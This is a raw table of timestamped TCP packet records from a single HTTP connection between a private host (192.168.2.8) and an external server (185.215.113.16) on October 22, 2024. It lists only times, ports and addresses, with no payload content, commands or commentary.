Oct 22, 2024 19:24:37.346702099 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.346755981 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.346767902 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.346776962 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.346776962 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.346779108 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.346787930 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.346806049 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.346818924 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.346827984 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.346828938 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.346828938 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.346839905 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.346852064 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.346863031 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.346874952 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.346885920 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.346906900 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.346908092 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.346908092 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.346918106 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.346966028 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.346966028 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.347059965 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347106934 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347115993 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347170115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347182989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347193956 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347201109 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347217083 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.347217083 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.347234011 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347244978 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347256899 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347266912 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347280025 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347290039 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.347290993 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.347337008 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.347374916 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347384930 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347399950 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347414017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347424984 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347435951 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347449064 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347455025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.347455025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.347455025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.347507000 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.347634077 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347645044 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347656012 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347668886 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347678900 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347687960 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.347698927 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.347698927 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.347819090 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.348136902 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.348148108 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.348177910 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.348180056 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.348234892 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.348927021 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.352264881 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.352283001 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.352298021 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.352308989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.352319002 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.352349043 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.352349043 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.406558990 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.421937943 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.421987057 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.421997070 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422058105 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.422126055 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422136068 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422151089 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422163963 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422174931 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422184944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422192097 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.422192097 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.422194958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422467947 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.422467947 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.422755957 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422765017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422786951 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422796011 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422843933 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.422843933 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.422898054 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422909021 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422918081 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422947884 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422960043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422970057 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422986031 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.422987938 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.422987938 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.422997952 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423007965 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423074007 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423084974 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423095942 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423108101 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423115969 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.423115969 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.423115969 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.423118114 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423126936 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423180103 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423190117 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423199892 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423209906 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423221111 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423227072 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.423228025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.423228025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.423233032 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423253059 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423274040 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.423274040 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.423301935 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423319101 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423333883 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423345089 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423367023 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.423432112 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423443079 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423479080 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.423479080 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.423479080 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.423521042 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423531055 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.423540115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424299955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424339056 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424340010 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.424340010 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.424349070 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424360037 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424417973 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424424887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424428940 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424433947 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424455881 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.424455881 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.424527884 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424544096 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424552917 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424563885 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424573898 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424582958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424592018 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.424592018 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.424592018 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.424618006 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.424644947 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424695969 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.424742937 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424752951 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424781084 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424792051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.424799919 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.424803019 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.425000906 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.425010920 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.425019979 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.425075054 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.425075054 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.425075054 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.425110102 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.425218105 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.425228119 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.425276995 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.461886883 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.461905956 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.461916924 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.461944103 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.461949110 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.461955070 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462003946 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462003946 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462058067 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462069035 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462080002 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462146044 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462156057 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462166071 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462177038 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462212086 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462212086 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462212086 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462218046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462229967 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462239981 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462249994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462265968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462277889 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462287903 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462316036 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462316036 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462316036 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462416887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462426901 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462436914 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462454081 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462465048 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462480068 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462487936 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462488890 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462488890 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462491989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462502956 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462608099 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462608099 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462663889 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462718964 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462729931 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462739944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462749958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462769032 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462807894 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462816954 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462826967 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462838888 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462850094 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462862015 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462862015 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462862015 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462882042 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462893963 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462918043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462928057 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462954044 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.462960958 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462960958 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462960958 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.462966919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463001013 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.463027000 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463037014 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463047028 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463057041 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463099957 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.463099957 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.463150024 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463160038 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463175058 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463186026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463196039 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463267088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463279009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463299036 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.463299990 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.463356972 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.463366985 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463378906 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463404894 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463457108 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.463457108 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.463551998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463587046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.463598013 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.465286970 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.467370987 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.467441082 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.467449903 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.467466116 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.467487097 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.467497110 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.467506886 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.467534065 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.467542887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.467544079 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.467578888 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.467578888 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.537463903 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.537486076 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.537497997 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.537533998 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.537619114 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.537683964 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.537684917 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.537728071 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.537738085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.537774086 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.537782907 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.537785053 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.537957907 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.538292885 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.538306952 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.538317919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.538331032 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.538384914 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.538384914 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.538410902 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.538453102 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.538464069 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.538497925 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.538497925 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.538505077 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.538515091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.538547039 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.538557053 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.538594961 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.538594961 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.538660049 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.538671017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.538681030 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.538914919 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.538970947 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.539040089 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.539140940 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.539335966 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.539350033 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.539717913 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.539885044 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.539897919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540020943 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540035009 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.540036917 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540046930 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540056944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540067911 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540080070 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540090084 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540101051 CEST	80	49717	185.215.113.16	192.168.2.8
